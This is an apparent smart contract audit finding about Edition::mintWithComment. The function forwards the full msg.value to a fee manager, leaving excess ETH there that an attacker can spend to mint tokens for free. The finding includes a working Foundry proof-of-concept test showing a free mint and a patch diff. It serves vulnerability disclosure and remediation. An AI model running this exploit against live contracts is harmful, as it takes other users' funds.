Wonderful Tin Cuckoo

medium

# `Edition::mintWithComment()` does not check and process user input, `_refundExcess()` is invalid, and an attacker can tail the transaction and consume the ETH in the contract to mint tokens for free

## Summary
`Edition::mintWithComment()` does not check and process user input, `_refundExcess()` is invalid, and an attacker can tail the transaction and consume the ETH in the contract to mint tokens for free
## Vulnerability Detail
The user calls `Edition::mintWithComment()` and sends ETH. When the `Edition::mintWithComment()` code is executed to `FEE_MANAGER.collectMintFee()`, the corresponding ETH in the `Edition` contract will be sent to `FEE_MANAGER` contract. At this time, `address(Edition).balance == 0`. When the program executes to `_refundExcess();`, since the balance in the contract is 0, the excess ETH sent by the caller will not be refunded, and the excess ETH will remain in In `FeeManager`, at this point, the attacker can consume the ETH in the contract to mint tokens.
```js
    function mintWithComment(
        address to_,
        uint256 tokenId_,
        uint256 amount_,
        address referrer_,
        bytes calldata data_,
        string calldata comment_
    ) external payable {
        Strategy memory strategy = works[tokenId_].strategy;
        // wake-disable-next-line reentrancy
@>        FEE_MANAGER.collectMintFee{value: msg.value}(
            this, tokenId_, amount_, msg.sender, referrer_, strategy
        );


        _issue(to_, tokenId_, amount_, data_);
        _refundExcess();


        emit Comment(address(this), tokenId_, to_, comment_);
    }
```

### Poc
Please add to `Edition.t.sol` and execute
```js
    function test_mintWithCommentPoc() public {
        // init user
        address user = makeAddr("user");
        deal(user, 0.1 ether);
        // user mints 1 tokens
        uint256 userMintAmount = 1;
        vm.prank(user);
        edition.mintWithComment{value: 0.1 ether}(
            user, 1, userMintAmount, address(0), new bytes(0), ""
        );
        assertEq(edition.balanceOf(user, 1), userMintAmount);
        assertEq(edition.totalSupply(1), userMintAmount);
        assertEq(address(feeManager).balance, 0.1 ether - 0.0106 ether * userMintAmount);
        assertEq(address(user).balance, 0);
        assertEq(address(0xc0ffee).balance, 0.0006 ether * userMintAmount);
        // init attacker
        address attacker = makeAddr("attacker");
        // attacker doesn't have ETH
        assertEq(attacker.balance, 0);
        uint256 attackerMintAmount = address(feeManager).balance / 0.0106 ether;
        // attacker calls mint()
        vm.prank(attacker);
        edition.mintWithComment{value: 0}(
            attacker, 1, attackerMintAmount, address(0), new bytes(0), ""
        );
        assertEq(edition.balanceOf(attacker, 1), attackerMintAmount);
        assertEq(edition.balanceOf(user, 1), userMintAmount);
        assertEq(edition.balanceOf(attacker, 1), attackerMintAmount);
        assertEq(edition.totalSupply(1), userMintAmount + attackerMintAmount);
        assertEq(address(user).balance, 0);
        assertEq(address(attacker).balance, 0);
        assertEq(address(0xc0ffee).balance, 0.0006 ether * (userMintAmount + attackerMintAmount));
        console.log("Attacker free mint amount:", attackerMintAmount);
    }
    // [PASS] test_mintWithCommentPoc() (gas: 261884)
    // Logs:
    //     Attacker free mint amount: 8
```
## Impact
`Edition::mintWithComment()` does not check and process user input, `_refundExcess()` is invalid, and an attacker can tail the transaction and consume the ETH in the contract to mint tokens for free
## Code Snippet
https://github.com/sherlock-audit/2024-04-titles/blob/c9d16782a7d3c15c7a759f22c9e0552d5e777ed7/wallflower-contract-v2/src/editions/Edition.sol#L252-L270
## Tool used

Manual Review

## Recommendation
Verify msg.value and send the corresponding amount

```diff
    function mintWithComment(
        address to_,
        uint256 tokenId_,
        uint256 amount_,
        address referrer_,
        bytes calldata data_,
        string calldata comment_
    ) external payable {
        Strategy memory strategy = works[tokenId_].strategy;
        // wake-disable-next-line reentrancy
+       uint256 sendValue = FEE_MANAGER.getMintFee(works[tokenId_].strategy, amount_).amount;
+       if (msg.value < sendValue) revert();
+       FEE_MANAGER.collectMintFee{value: sendValue}(
-        FEE_MANAGER.collectMintFee{value: msg.value}(
            this, tokenId_, amount_, msg.sender, referrer_, strategy
        );


        _issue(to_, tokenId_, amount_, data_);
        _refundExcess();


        emit Comment(address(this), tokenId_, to_, comment_);
    }
```
